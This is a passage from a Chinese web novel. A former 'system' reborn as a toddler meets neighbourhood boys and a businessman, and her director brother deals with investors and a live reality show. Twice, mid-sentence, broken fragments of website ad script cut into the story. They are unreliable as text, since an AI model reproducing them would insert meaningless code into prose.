说时迟那时快,李平天一个暴栗敲得张光耀重新低下头,他不断发出嘘嘘声。 “知道了知道了,两只耳朵都知道了,你想要变性,不喜欢妹妹也讨厌你爸,小点声!等会被敌人发现就逃不出去了!” 两人在差点被发现的刺激场面中溜出家门,直到完全走出张家别墅的范围,两人才重新直起身,漫步在小道上。 张光耀怒气冲冲中带着点委屈,他猛地停住脚步死命一跺脚,攥拳恨恨道:“最讨厌我爸和妹妹了!我再也不要管他们了!” “真的吗?我不信。” 李平天从小和张光耀一起长大,从没听过他说讨厌他妹,李平天狐疑地上下打量着张光耀,见他的嘴撅得都快可以挂一个油壶了,应该是真的很生气,便拉着他在小道上跑了起来,同仇敌忾道:“那我也讨厌你妹妹和你爸!走!我们去凤凰河打水漂,打走不开心。” “你凭什么讨厌我妹?!”闻言,张光耀一把拽住李平天不让他走,一脸严肃道,“不行,只有我能讨厌我妹,你自己没有妹妹给你讨厌吗?!” “我家只有我一个啊!”李平天有些无语,他在心里默默吐槽道:你到底讨不讨厌你妹,兄弟和你站一边你还凶我?! “我哪来的妹妹给我讨厌?!” 张光耀张张嘴,一时有些语塞,一想到好兄弟没有他这样的烦恼,这下更加难过了:“……可恶!你知道你拥有了谁的爱?!是你家人全部的爱啊!!” 两人一路小学鸡拌嘴,直到在凤凰河边遇到了柏俞一行四人。 “笨蛋柏俞哎,还有她家保姆和两个没见过的人。” 李平天最先发现长椅上的柏俞,他拍了拍兄弟的后背,抬头挺胸、目不斜视地给好兄弟做出毫不在意的示范,气宇轩昂道,“像我一样,无视她!向她展示你已经不想要她的玩偶了!以此迈出你讨厌你妹的第一步!” 可他刚发出支持的声音,好兄弟张光耀就极其不给面子地一个健步朝着柏俞冲了过去,边跑还边大声询问:“当我小弟的事情你考虑得这么样了?” “玩偶是终身保护费哦……应该是终身的吧。” 徒留李平天一个人端正地杵在原地,像个工作摸鱼遇到老板猛地站直的保安,他有些不自然斜眼瞟了那四人一眼,确定没人关注到他的戏多,立马松懈下来假装什么事情都没发过生。 李平天:“……”说好的再也不管你妹呢?!白白浪费我的感情! 张光耀再次见到柏俞十分地兴奋,但见她身边围绕着一群他不认识的人,其中的一个漂亮女人还失魂落魄地瘫坐在椅子上,张光耀有些共情了对方的要死不活,他吸吸鼻子,继续向着柏俞跑去。 还没跑出几步,他才注意到柏俞身边坐了一条德牧犬,张光耀立马紧急刹车,跟着他跑的李平天一个没注意,正脸撞上了他的后脑勺。 “哎呦——” 两人纷纷捂头,两声惨叫相互呼应。 “……”赵鹤冕听见来人的话,原本有些担忧地垂眸看向柏俞,想着她年幼的小身板被大她几岁的小孩欺负,可他一个外人也不好插手。 但现在赵鹤冕微微松了口气。 王妈也警惕地担心这是什么霸凌事件,但看着不太聪明的两人,王妈觉得自家成熟稳重的小小姐甩他们八百条街,也稍稍心安下来。 见对面的目光都落在自己身上,众目睽睽之下,张光耀做不出当场落荒而逃的举动,他捂着后脑勺朝柏俞勾了勾手指,示意道,“你过来一下。” 李平天捂着脸,觉得自己硬挺鼻子要被撞断了,他一边哀叹自己的俊脸,一边暗暗打探敌情,瞥见了柏俞身边警惕的大犬,李平天扶着好兄弟的肩膀站起身,觉得不能助长敌人志气灭自己威风,于是他小声地用气音询问张光耀:“你是不是怕狗?” “谁说的!”张光耀应激地跳脚,声音不算小,引得众人纷纷侧目。 张光耀:“绝无可能!” 李平天:“……那你怎么不过去?” 张光耀强装镇定道:“我那是怕吓到她,好歹她也是个女生!” 李平天打量着面前的大狗,发出了啧啧赞叹声:“这狗好帅啊,是不是警犬。” 张光耀难以置信地扭过头看向好兄弟,觉得他怎么能长他人志气,张光耀用肩膀推搡着好兄弟:“那你去把狗引走。” 李平天:“……”不怕狗和讨厌妹妹都是你的谎言,你真是口是心非、死要面子! 但一声兄弟大过天,李平天很有义气地挺身而出,冲德牧犬嘬嘬两声:“大狗!” 陀螺理都没理他,目不转睛地注视着张光耀。 “狗都是能在人群里一眼锁定害怕他的人的。”李平天压低声音,对着怕狗但硬撑的好兄弟耳语。 “我不怕狗!”张光耀再次强调,他一被碰就跳三尺高,“我就是觉得它不干净!” “好好好。”李平天拿他的嘴硬兄弟没辙,但很仗义地挡在他身前代为社交,李平天睨了柏俞身旁的男孩一眼,决定拿这个同龄人作为社交的突破口:“兄弟,你小小年纪,是怎么说服你爸妈让你染头的?” “我也想洗剪吹!还在企鹅上加入了杀马特大家族!但是我妈不让我染头,我爸说我染了就打断我的腿!我当不成尊贵的杀马特家族三王子了!我现在是平头哥了呜呜呜呜……” 赵鹤冕:“……” 张光耀猝然转头看向好兄弟,眼神既难过又震惊。一天之中,他刚领悟到了家人不爱他,现在又惨遭好兄弟抛弃,就连最好的兄弟都要瞒着他投入新家族的怀抱:“……你什么时候加入杀马特家族的,也不和兄弟说?!” 李平天眨眨眼,看着好兄弟难以置信的表情,一脸纠结地坦白道:“因为我忘了……” 柏俞:“……”好潮啊你们俩。 见赵鹤冕没有要理人的意思,柏俞觉得他可能也是无语了,她有些一言难尽地从座位上起身,顺带理了理坐乱的衣摆,跳过和“尊贵的杀马特三王子”交流,转而对张光耀说道,“你找我,但玩偶现在不能给你,你和我预约吧,以后会有更好的玩偶。” “什么以后,我不要更好的玩偶,我就要你手上那个!”张光耀调头目不转睛地盯着德牧犬,整个人有些僵硬,也顾不上好兄弟的背叛隐瞒了,他轻微哆嗦地后撤步,指着德牧犬,“这是你的狗吗?让它过去一点,我怕它有细菌!” 赵鹤冕示意陀螺护在柏俞身前,他刚回国,对国内人的社交情况不是很了解,也不明白“杀马特”是什么意思,但在家庭还不富裕的小时候,父母带着他逛街,在国外的街头也遇到过拦路打劫的teenager,他爸的破车被锁过车轮,不给钱不让过。 赵鹤冕:国内的“杀马特”可能和国外的“teenager”一样,就是街头混混团伙。 赵鹤冕:想不到国内不仅在卷教育,就连混混行业也这么卷,直接少走十几年弯路,六七岁就开始干了。 得到主人命令的陀螺严阵以待,他警惕状态地站立,盯着面前的两个陌生男孩,时刻准备做出反击,保护他身后香香软软的人类新朋友。 张光耀一边应付好兄弟的解释,一边机械地回视德牧犬,紧盯着它的一举一动。 虽然柏俞那人高马大的臭脸哥哥不在,但她现在也有新的哥哥护在身前,张光耀识时务者为俊杰,他改口道:“以后就以后吧,反正我也不是很在意我妹妹喜欢什么,哈哈哈哈哈。” “那我们说好了。” 有了第一个预约客户的柏俞很高兴,她点点头,摸着陀螺的后背,在心里盘算起了算法模型搭建和训练所需的时间,又低头看了看自己的小肉手,想起她现在不能全天候的工作了,柏俞皱眉瘪了瘪嘴,“你先等着吧。” 张光耀:“……”你让我等,怎么自己还不高兴上了? 柏俞叹了口气,觉得人类赚钱真是道阻且长,还有炮灰哥哥的事情没有处理完,她将手中的棒球还给赵鹤冕,决定先回家处理工作。 柏俞蹲下身揉了揉陀螺的脑袋,恋恋不舍和他道别:“陀螺,我要回家了,下次再一起完吧。” 等柏俞和赵鹤冕道完别,接过赵鹤冕递来的湿巾擦完手,重新起身的她一晃眼瞥见了树后站立的便宜哥哥,温时礼正和背后灵似的抱臂倚着树看向他们。 “哥哥!”柏俞开心地朝对方挥挥手,觉得真是挂念什么,什么就出现在面前,她攥着湿巾奔向温时礼。 温时礼并不是一个人来的,他的身旁站着面色铁青的张强,两人在西图澜雅谈完合作后,见温时礼要回家,张强自告奋勇地要送他一程,两人就着合作一直谈到太悦湾的公园。 一路上,抢着当司机的张强暗自腹诽:温时礼不会觉得我在讨好他吧?哼,系统好,温时礼坏!我可没忘了他专横独断不让系统和小孩玩的恶劣行径!张强!忍辱负重!一切都是为了搞好关系见到系统! 而温时礼透过后视镜和张强对上视线,虽然合作谈得十分顺利,张强还追加了一笔不小的投资,剧组明天就能正常拍戏,温时礼感激于张强雪中送炭,但他总觉得张强看他的眼神怪怪的,羡慕中带着点愤怒,抢着开车也像是在抢方向盘,要把他卖进山里似的。 从不信奉鬼神的温时礼坐如针毡,大脑飞速运转:不会被小向说对了,张总真的被下了降头吧?!他在羡慕生气什么?我还没为他说我妹是笨蛋、放任小孩欺负我妹而生气呢?! 温时礼:而且如果心有不满,为什么要投资啊,态度一百八十度大转变,真的让人毛骨悚然! 温时礼暗暗在心里记下一笔,准备得空就和小向一起去庙里求个辟邪的护身符。 张强是在张光耀之后来的,他原本想拍几张凤凰河的照片,在群聊里好好炫耀,觉得如果能遇上散步消食的系统就更好了。 他和温时礼从长椅背后的小道靠近凤凰河,张强一眼便先瞧见了自家儿子张光耀的正脸,左右瞧瞧又没见着宝贝女儿,正疑惑着,再转头,倒是注意到了和高清照片长得一模一样的系统。 张强难掩激动,也顾不上疑惑爱黏着哥哥的女儿去向了,脑海里顿时炸起了烟花,连温时礼说的话都没怎么听清,只来得及在心中不断感叹:系统!我见到系统了嘿嘿,我就说,出差暂停我要去散步! 可紧接着,他就听到了自家儿子在威胁系统,向系统讨要保护费。 张强额头青筋直跳,一直忍到系统发现他们,才一个跨步冲了出去,一把揪住了逆子的耳朵。 “嗷嗷嗷——”张光耀发出了悠长的惨叫声。 张光耀正和李平天掰扯加入“杀马特家族”的事,还没留意到来人是谁,就被粗暴地揪住了耳朵。 张强虽然拧着儿子的耳朵,但没也敢太用力,只能试图用河东狮吼唤醒儿子的愧疚之心:“张光耀!你长本事了是不是?还敢在外面当小混混收保护费?!” “我真该死啊……”教训完儿子的张强痛心疾首,不断反思自己的行径:我先是在豪门聚会附和了其他人说系统的坏话,再让系统感到烦恼,为有关于我的合作殚精竭虑,现在我的儿子居然还拦路打劫系统……我真该死啊! 悲愤欲绝的张强无颜面对系统,他强压着张光耀向柏俞道歉,等儿子说完对不起后,还和儿子一起鞠躬,态度十分真诚。 温时礼有些错愕,他先前以为张强是那种过分溺爱孩子的家长,所以才纵得孩子不知轻重,与人相处为我独尊,但现在看来,张强并不是什么不重视家庭教育的人,虽然小孩看起来还并不清楚自己错在了哪里。 张光耀被父亲揪了耳朵,他想不通为什么从来不逛公园的父亲会出现在这里。本就觉得父母不喜欢他,现在还被当众责罚,压抑着委屈的张光耀眼前一花,眼泪水包在眼眶里不敢往下掉,他感觉自己的心也被讨厌的父亲揪了一把,弄得脑子发懵,整个人不上不下。 “叔叔……”柏俞是救赎系统出身,她担忧地看着张光耀,见对方紧绷着身体攥着衣角,开口解释道,“其实张光耀没 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 有欺负到我。” 柏俞放开温时礼的手,从口袋里掏出了小手帕,哒哒哒地来到张光耀面前递向他。 张光耀头埋的很低,他强忍着哽咽,抬起胳膊用袖子用力擦脸,没去接柏俞递来的手帕,张光耀在心里恨恨地想:我讨厌你们所有人! 柏俞站在他的面前正色道:“张光耀。” 张光耀更憋屈了,他有些抗拒柏俞的接近,强硬道:“我不需要你安慰我!” 话落,张光耀就听到柏俞让他道歉,并不是准备安慰他。 “并不是谁哭,谁就应该被安慰哦。如果想要我的安慰,你应该先郑重其事、自发地向我道歉,因为想要一样东西,应该用劳动或等值的东西去交换,而不是命令、要求对方给予,我这么说,你能意识到自己错在哪里了吗?” 张光耀一怔,正准备拒绝对方安慰的他喉头一哽,还没想好相应的措辞,张光耀就听到柏俞仗着现在有人撑腰,提出了更过分的要求。 “我想要你的这个平头朋友,你让给我。” “你!别欺人太甚!”张光耀猛地抬头,眼眶里的泪水甩落在了地上。 “你也觉得很过分吗?”柏俞将手帕塞进张光耀手里,和他道歉道,“我是因为看出来平头哥是你很重要的好朋友,所以提出了这个要求,我知道是不对的,所以我现在向你道歉。” 柏俞干脆地说:“对不起!想哭就哭吧,擦擦眼泪。” 说完也没等张光耀反应,自顾自地跑向张光耀的父亲,拍了拍对方的衣袖,扬起小脸和他说:“叔叔,道歉应该发自承认错误的真心,不是外力强迫哦,小孩子的自尊心也是很强的啦。” 张强自责反省中有些唏嘘,想着这就是系统啊,曾经也是拯救他于水火,不仅在事业上给予他帮助,更是精神上的向导,张强险些热泪盈眶了,他哽咽地点头,向系统自我介绍道:“我知道了,我是张强。” 柏俞:?怎么突然自我介绍?……张强?这个名字怎么这么耳熟。 温时礼正为三岁半的妹妹说出的话感到震惊,还没惊讶多久,就发现她妹又把霸总张强给说哭了。 温时礼:?张总的脸皮这么薄吗?? 赵鹤冕拉着重新牵绳的陀螺,对柏俞的行为也感到颇为意外。 张光耀没用柏俞递来的手帕,他垂着脑袋绞着手里的帕子,情绪慢慢稳定后,脑子也更加清晰了,他走到柏俞面前,和她真心实意地说了声对不起。 柏俞对他的道歉只是点了点头,没说原谅,也没说不原谅。 达成“和解”的众人在张强的带头下,为了缓和气氛,相互自爆家门,算作萍水相逢打过照面。 相互介绍完,温时礼这才注意到一旁存在感很低的女人,他的震惊改为惊惶:他的妹妹怎么在和赵家的小少爷玩?!他二哥昨天还用投资溜了我,他身边跟着的那个是廖横武的女儿吧?! 温时礼立马不动声色地将妹妹拉离赵鹤冕,虚虚地将其护在怀里,面带警惕地瞟了廖雅两眼。 赵鹤冕敏锐地觉察到了柏俞哥哥在听到他的名字后,态度一转,他有些疑惑,但也没说什么。 在众人的沉默中,李平天终于找到了合适的时机,他一拍大腿,发出了一声惊呼:“赵鹤冕?!你就是我妈说的刚回国的A圈太子爷?!” 赵光耀立马和好兄弟思维同频,他也懊恼地一拍手背:难怪我今天会在众目睽睽之下被打脸!我爸以前从来不逛公园的!他出现在这里,肯定和我妈看的霸总剧一样,是为了太子爷回国打脸准备的,那我岂不是故事里的恶毒男配?! 赵鹤冕皱起眉,艰难地开口:“大清已经亡了……” 刚说完,他就看见张光耀和李平天突然齐齐向他行了一个绅士礼仪,嘴里嚷嚷道:“太子爷回国,我去接!” 赵鹤冕:……神经,你们两个真的很神经! 温时礼替赵鹤冕感到脚趾扣地了,他强忍着不让自己笑出声来。 张强抱歉地朝赵鹤冕示意,连忙表示自己很忙,下次再约,也顾不上和系统叙旧了,准备把正在抽风的儿子拉回家:“看电视剧是我和你妈的放松时光,你来凑什么热闹!小孩少看狗血剧!” 张光耀不肯走,他恍然大悟,觉得自己发现了世界的大秘密,他那眼高于顶,最注重B格的父亲主动向三岁小孩自我介绍,而柏俞不爱理人,却很聪明,所以她肯定是患有胃病、恐人、高冷配置的霸总人设! 张光耀被张强架着,突然单膝跪地,大喊了一声:“不!!”我懂得太晚了,得罪了霸总我还会有好下场吗?! 张强原本为当众批评了儿子感到愧疚,这下额头的青筋又开始疯狂跳动了,他咬牙切齿地质问:“你在干嘛?!” 李平天还在一旁呼呼用嘴给张光耀吹风,试图为好兄弟营造在下雪,人生惨淡悲凉的气氛。 张光耀还在生父亲的气,他扭动着身体想要挣开张强的手臂,在心里吐槽道:你根本不知道我将要付出什么?!我得罪了霸总,等天凉了,你就知道难过了! 张光耀:难道我接下来的命运,就是忍辱负重、卧薪尝胆了吗?! 张强感觉自己虽然活着,但已经死了有一会了:哈哈,脸都丢干净了,我的小孩这么中二,他们不会以为我就是这么教的吧…… “臭小孩!叫你少看点霸总剧!” 张光耀没理崩溃的父亲,想着既然今天已经道歉过一次了,不如将旧账全都翻出来好好处理,他现在虽然还讨厌爸爸,但爸爸还是他父亲啊,不能让他破产了,张光耀反客为主地揽过张强的肩膀,对柏俞说道:“对不起,我爸爸以前说你是笨蛋,我也说过你是笨蛋,我才是笨蛋!” 张强:好好好,这下不止是尴尬,还愧疚得无地自容了…… 张强立马立正站好,对着柏俞鞠了一躬,恳切地和她道歉。 张光耀接连还承认了他为了不被父亲批评,撒谎称温时礼不让柏俞和他们玩,其实是找柏俞要玩偶被温时礼撞见了。 温时礼没想到这出戏还有他的事,打着哈哈原谅了六七岁的小孩胡闹。 张强汗流浃背地带走了犯中二病的儿子,今日又吃一瓜的王妈也跟着柏俞他们各回各家。 张强为了挽回在温时礼面前的形象,觉得不能给温时礼一种他很器重他的感觉,有些距离才能重新产生尊重。 于是温时礼才到家,就收到了张强的飞鸽来信。 【张强:温导啊,你一直在试探我为什么投资,不瞒你说,我就是看在你妹妹的面子上才投资的,要好好干啊。】 【张强:加油年轻人。】 温时礼的疑惑并没有得到解答,反而更迷惑了,他拉住了准备回房间的神秘妹妹:“你和张强认识吗?” “嗯……”柏俞正在脱外套,闻言停下动作,“认识,他是我的网友。” 温时礼:?我也是吃上我妹的软饭了?! 温时礼:我妹一天到晚都在和谁玩啊!! 20. 带坏 “认识,他是我网友。” 温时礼举着手机,注视王妈领着柏俞去往卫生间洗漱,整个人有些难以置信:现在的互联网交友都发展到这种地步了吗?!一家公司总裁看在三岁半网友的面子上投资?难道张强说的他命带贵人,就是突然发现了自己是他网友的哥哥?! 不可能吧。 温时礼实在想不出,作为网友,能有多大的恩情或是提点,能让老奸巨猾的商人卖这么大的人情:你是信三岁半拯救世界,还是信张强被下了降头?! 想不通的温时礼瘫坐回沙发上,捏了捏眉心,决定先处理剧组的工作事项,他打开了飞鸽。 【助理:温哥,明天下午的剧本围读照常进行吗?】 【温:照常,按照之前的通告正常准备拍摄,盯一下道具组道具修复的情况。】 【助理:收到。】 【助理:道具组回复定制的剑托、剑尖断了,上面蛋白石手打的装饰不好修复,是替换还是?】 【温:廖横武道具赔偿的钱到账了吗?】 【助理:我去问问财务。】 【温:辛苦。】 助理小向从剧组的躺椅上跳起,给财务打去了电话,但对面没接,他抓了抓脸颊,先给财务留言,而后给温时礼发去感叹。 【助理:温哥,我到现在都还不敢相信,我们莫名其妙的就拿到了一笔投资,明明前一天我们还在饭局上被当作下酒菜,今天就被人好酒好菜招待……就是顺利得心慌慌叻,我不会是传说中的抖M吧。】 【助理:我思来想去,得出了一个结论,那就是张强肯定比我还封建/迷信!】 【助理:我已经参透了他的整个行动轨迹,肯定是在厕所里找大师算过了,说投资这个项目有财运,IP和山庄风水十分契合,所以大笑出声!】 【助理:哎,真是老天帮忙,运势好就是不一样嘿嘿,不枉费我为事业运专门去了趟寺庙,真是上进啊我,我们接下去肯定会更加顺利的。】 温时礼看着小向的回复有些失笑,想着绝对没人能猜到,堂堂总裁会为了三岁半的网友而投资,他饶有兴味地将张强的聊天记录转发给了小向,想听听小向的“迷信”见解。 【温:[聊天记录]张强:温导啊,你一直在试探我为什么投资,不瞒你说,我就是看在你妹妹的面子上投资的,要好好干啊。】 【助理:?】 【助理:这酒我就喝了两杯吧,怎么有点读不懂这些文字了。】 【助理:温哥……我没记错的话,你妹妹才四岁吧?】 【助理:她不会就是传说中的,天选的锦鲤命格!?】 【助理:那张强也太迷信了,完全靠算命投资的吗?这样是不行的,像我就不会这样……对了,有机会的话,我能和温哥你妹妹握个手吗?没别的意思,就是沾沾好运,真没别的意思,我可没那么迷信!】 看着聊天界面的温时礼发出一声轻笑,不是只有他一个人摸不着头绪,不知道为什么,看着他人为和自己妹妹有关的事情感到震惊,温时礼有些忍俊不禁。 【助理:[链接]系统系统我爱你剪辑,对了,温哥,太忙我都忘记了,你看过这个剪辑了吗?我们去粘吧占一个坑位怎么样?自带热度。】 先前时间紧急,温时礼只来得及处理最紧急的相关事宜,还真没仔细看过热搜上的视频,他顺着小向发来的链接,点开了最近席卷式霸榜的视频。而柏俞正好在王妈的协助下完成洗漱,穿着小羊睡衣从卫生间里出来。 听到熟悉BGM的柏俞动作一顿,她眨了眨眼睛,才轻手轻脚地绕到沙发边上,和温时礼排排坐。 “剪辑紧凑,主题明确,审美很强。”温时礼将视频回放,下意识地在脑海里构思分析对方的镜头语言表达。 这是柏俞第一次以观众视角回看这个视频,她有些不自然地抱过沙发上的抱枕,披着马甲听炮灰哥哥夸奖自己的作品,直到一遍完整地播放完,柏俞撇过了脸,细数抱枕上的绒毛。 “抱歉,吵到小俞了吗?”温时礼这才回神注意到柏俞,他将视频的声音调小,匆匆瞥了眼评论区最新的刷屏分析,万能的网友似乎找到了什么新的研究点。 【技术A:没人扒过这个BGM吗?我找遍全网,似乎没有重复的,所以大佬为了这个视频,专门制作了一个BGM吗。】 【技术A:如果不是联合网红炒作,背后有团队,这还是人吗?极限几小时??开班吧真的,没有课我真的会坐立难安。】 “没有吵到。”人在尴尬的时候就会显得很忙,柏俞扒拉着抱枕,虽然面对别人的夸奖她能面不改色,但是披马受夸奖还是第一次,柏俞手指挠了挠抱枕的花纹。 温时礼见柏俞一副不感兴趣的样子,表示理解:妹妹还小,不喜欢看这些看不懂的东西很正常。 “很无聊吗?来看动画片吧。”不忍柏俞干坐着,温时礼顺势抓起茶几上的遥控器,打开了电视。 趁着柏俞目光停留在电视屏幕上,温时礼注册了个“粘吧”账号,但目前还在向廖横武“示弱”的公关阶段,他不好直接在预约一栏发布企划,温时礼只能给对方发去了私信邀约。 围观全程的柏俞:……我哥当着我的面,向我的马甲号约剪辑工作!! 做完这一切的温时礼目光柔和地看向正襟危坐的宝贝妹妹。 在柏俞的行事准则中,没有撒谎,她说出的信息都很真实,但不一定完整,以此来遮掩那些她不想说的秘密。 但这是柏俞第一次披马甲,业务还不是很熟练,她脊背有些僵直,担心被便宜哥哥看穿,只能假装沉浸地盯着动画片看,她有些紧张、新奇的同时又有些兴奋:我也是有小秘密的人了! 看着妹妹乖乖的小模样,温时礼在心中感叹不愧是世界上最可爱的乖宝,又回忆起傍晚时分,柏俞条例清晰的需求表达,他收起手机,揉揉酸痛的后颈,安心不少:他的宝贝妹妹真的如三甲医院诊断所说,是个不喜社交但完全可以独立面对的天才幼崽,一般人欺负不了她。 温时礼耐不住好奇心,开口询问柏俞:“小俞每天都在和网友聊些什么啊?” 柏俞一般喜欢聊天,对前宿主们的闲聊回复得不多,还在做系统时和宿主相处的细节她都不太记得了,但以她的处事习惯推断,她应该不是一个话多的系统,柏俞沉思片刻,给出了个分外诚实的答案:“我今天下午才知道他是我网友的。” “……” 听到这个回答的温时礼一时有些语塞,看来完全是张强自己不知道脑补了个什么剧本,或者真的是算命看的命盘,温时礼有些戏谑地想:难怪他儿子张光耀这么戏精中二,家庭教育真的很重要啊,看都把小孩教坏了! 趁着柏俞窝在沙发上认真看动画片,温时礼叫走了王妈,向她询问柏俞和赵鹤冕相处的细节,虽然不知道廖雅是否清楚他的家庭关系,又是否直接参与这次的剧组舆论事件,但他不得不留个心眼。 露台上,王妈听完温时礼的问题,表情有一瞬间的扭曲,这让温时礼顿时心下一沉。 “王妈,你但说无妨,他们欺负小俞了吗?”温时礼态度有些急切,担心在他还没到场的时候,柏俞被人刁难,他在心里愤愤不平道:信赵的果然没什么好东西! “不、不是。” 温时礼看着王妈一脸警惕地趴着露台围栏向下张望,觉得这件事可能比他预想中的还要严重,他严阵以待地崩起了脸。 王妈在确定没人在别墅楼下晃荡后,才神神秘秘地 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 压低声音凑近,将下午听到的八卦绘声绘色地转述给温时礼听。 还在担心妹妹被人欺负的温时礼骤然听到惊天大瓜,他严肃的表情一滞,头顶冒出了一个大大的问号:? “赵鹤冕就这么直接说出来??”为什么让王妈知道?不会是什么陷阱吧? “对吧。”看着温时礼呆滞纠结的表情,王妈满意地咂咂嘴,八卦就是要分享给这种反应巨大的人才有意思,王妈继续道,“虽然赵小少爷说话直言不讳,但他还算有道德底线,让我捂住了小俞的耳朵,没有荼毒三岁小孩。” 温时礼:“……”赵鹤冕他才六七岁吧?行事这么诡谲!不能让小俞和姓赵的玩了,肯定会带坏小俞的!! 王妈秉持着只陈述,不评价的分享八卦守则,继续道:“哎,小俞还答应了去赵鹤冕的游戏工作室玩,我看小俞非常喜欢他的狗狗,对游戏倒是不怎么感兴趣。” 本就对赵鹤冕心怀不满的温时礼警铃大作:还带幼崽打游戏!赵鹤冕不怀好意!他肯定是想带坏我妹! 预感未来大事不妙的温时礼连忙回到大厅,此时的柏俞正借着看动画片的由头,浏览张狗蛋的穿越失败答题史。 炮灰哥哥后天上午就要公开招聘武术指导了,可张狗蛋开启穿越半天,还是没有一点动静,按理来说,也该答完题完成穿越了吧。 好奇的柏俞翻看起系统的答题记录,想要看看到底是什么绊住了前宿主穿越的步伐。 【主系统:剑修/张狗蛋先生第17次模拟答题失败,失败原因:模拟玩网被骗三千块,怒而追回又被骗了八千块!建议熟读防诈骗宣传手册,关爱古代老人。】 【主系统:剑修/张狗蛋先生第18次模拟答题失败,失败原因:模拟被骗后怀恨在心,提菜刀追杀诈骗犯,惨遭警方逮捕,受害者变嫌疑犯。建议熟读现代社会法律,关爱古代老人。】 【主系统:剑修/张狗蛋先生第19次模拟答题失败,失败原因:模拟被骗后依旧怀恨在心,高楼大厦飞檐走壁踹翻诈骗犯,协助警方抓获,合法但就是不合理!建议熟读现代生活守则,关爱现代正常人类。】 【主系统:剑修/张狗蛋先生第36次模拟答题失败,失败原因:当着车主面撬开车门,声称只是练习,并不是盗窃。建议熟读现代公序良俗,关爱现代人类。】 【主系统:剑修/张狗蛋先生第37次模拟答题失败,失败原因:无证驾驶且拒不配合出示证件,声称自己早预感到会被抓,其实自己是外星人,可以给警察算一卦。建议熟读现代社会法律,关爱现代警察。】 柏俞:……他是不是把测试当模拟人生玩了? 柏俞:早知道就听基地首领的,不选位面代沟过大的了,已经可以想象到张狗蛋来现代会有多么鸡飞狗跳了…… 柏俞皱眉正发愁,也不知道这个前宿主能不能赶上后天早上的剧组招聘,一扭头瞥见便宜哥哥的脸色有些不好,但他还是强装镇定地在自己的对面坐下。 柏俞的第一反应就是温时礼在为剧组的事情而烦恼,但又碍于面子,不好和她一个未成年倾述,便率先开口给了个话题台阶:“张强叔叔和我说,他投资了哥哥的剧组哦。” 在浏览张狗蛋失败99次的穿越记录之前,柏俞收到了张强的系统私信,对方着急忙慌地和她道歉解释,柏俞倒是觉得没什么,简单地安抚了对方。 “嗯……”温时礼正琢磨着怎么和妹妹说,他不太赞同她和赵鹤冕来往,毕竟柏俞是一个很有自己的考量和打算的幼崽,他一时有些拿不准交流的话术。 还未开口,温时礼的手机便响了起来,是“瓜之大”导演的来电。 “温导啊,廖横武答应上综艺了,我们趁热打铁,明天就开始直播录制!” 21. 瓜之大 “瓜之大”导演李洋又向温时礼索要了剧组的行程安排,毕竟是温时礼先找上他寻求合作,李洋也是业内资深的综艺导演,比起温时礼这个新人,他自认为在这次的合作中,自己更具有话语权。 李洋并没有询问温时礼的意见,而是直接结合了相应的行程,告知温时礼综艺直播的初步策划,如果有不妥,他们再行商谈。 “明天下午有剧本围读,后天上午要公开招聘武术指导是吗?” 电话那头传来了鼠标滑动的声响,李洋重复着温时礼所提供的剧组行程安排表,好一会儿后,他才再次开口:“廖横武签完合同后,我立马找江岚签好了。那第一天先分别拍摄江岚和廖横武的一天行程,先别让他们见面,让观众了解一下他们的生活现状,正好第一期下午有剧本围读会,你和江岚会同时出现在一个画面里,这样更有噱头,网友也有得扒,还会期待你们仨什么时候碰面。” 听到这的温时礼抓过茶几上的电脑,向妹妹示意谈话暂停,为了不打扰柏俞看动画片,他独自一人回到露台,关上露台大门后,边听李洋的安排,边用电脑翻看着“瓜之大”的官博。 江岚也给他发来了合同签订的消息,一切事情都是那么的紧凑。 李洋才通知他廖横武答应了上综艺,这电话还没挂断呢,大眼上就已经公开了下一期的综艺嘉宾,还卖关子地标注了有神秘特约,敬请期待…… 温时礼细细翻看着官博下面不断新增的评论,没想到李洋安排得这么急,也许是刚签订好合同,就迫不及待地官宣准备拍摄了,他由衷感叹道:“嗯,我看到官博了,李导好紧凑的安排,好强大的执行力。” 温时礼:最重要的是,你没有事先和我商量排期,直接公开官宣,先斩后奏! “那肯定,你没拍过瓜综你不懂。吃瓜就得急着吃,晚一点就不新鲜了,而且直播类型的综艺,不能给嘉宾太多的准备时间,准备得太充分就不真实显假,不够抓马谁蹲守直播间啊,我也是为了节目效果。” 李洋那头传来了键盘敲打的噼啪声,似乎又有不少人正在交谈着什么,温时礼猜测李洋可能一边在开剧组的内容策划会议,一边和他打电话直接下达通知,当真是争分夺秒。 “你记得通知剧组直播综艺的事情,电子合同给你发过去了,找时间来签一下。” “主要是你后天公开招聘的那场,我预备安排廖横武前去踢馆,肯定很多人爱看,你觉得怎么样?” 温时礼:“……” 温时礼滑动电脑触屏板的手指一顿,在心里吐槽道:我觉得不怎么样,关注“剑澜”剧组和直播综艺的求职者不得被吓跑?本来廖横武的事情闹大,就不好招聘武术指导,毕竟入职自带舆论压力,多亏了习武之人本就不乏喜欢挑战、切磋的,才收到了几份不错的简历加作品集。要是面试形式改直播加踢馆,应聘现场没人来面试就老实了。 “我觉得……”温时礼的话还未说完,电话那头的李洋突然一拍大腿,像是突然想起了什么。 “你招聘面试应该只是走个过场吧?记得找一个内定的人保底,毕竟舆论风口,来应聘的人可能不是很多,廖横武也算是业内老前辈了,我就猜你招聘应该只是为了安抚观众造势用的?” “……”除了抓马的节目效果,你还能考虑到别的真是难得,温时礼语塞,他原本计划的公开面试分为两轮,并没有那么着急地想要安抚观众,毕竟武术指导的个人实力和指导演员最后的呈现效果是不一样的,但如果李洋要加上踢馆直播,那他的计划就会被打乱,寻找一个自身实力在廖横武之上的人就迫在眉睫,是否擅长指导和指导效果在招聘条件中反而要往后放。 温时礼尽可能平和地拒绝李洋,不卑不亢道:“李导,我们公开面试后还有两天的试用期,加上直播踢馆应该不太合适。” 兴奋上头的李洋直接忽略了温时礼的拒绝,在他的计划里,直播瓜综就是要怎么更有冲突就怎么安排:“没事,不管有没有安排好人都没关系,就算没人来也是一种抓马,直播类综艺要的就是这种效果!” 温时礼:……不顾他人死活的效果吗?!李导还真是只关心自己的节目,不管合作者的意愿。 两人就直播内容进行了意见相左的初步商谈,为了应对突如其来的直播安排,温时礼匆匆和柏俞道别后便要驱车回到剧组。 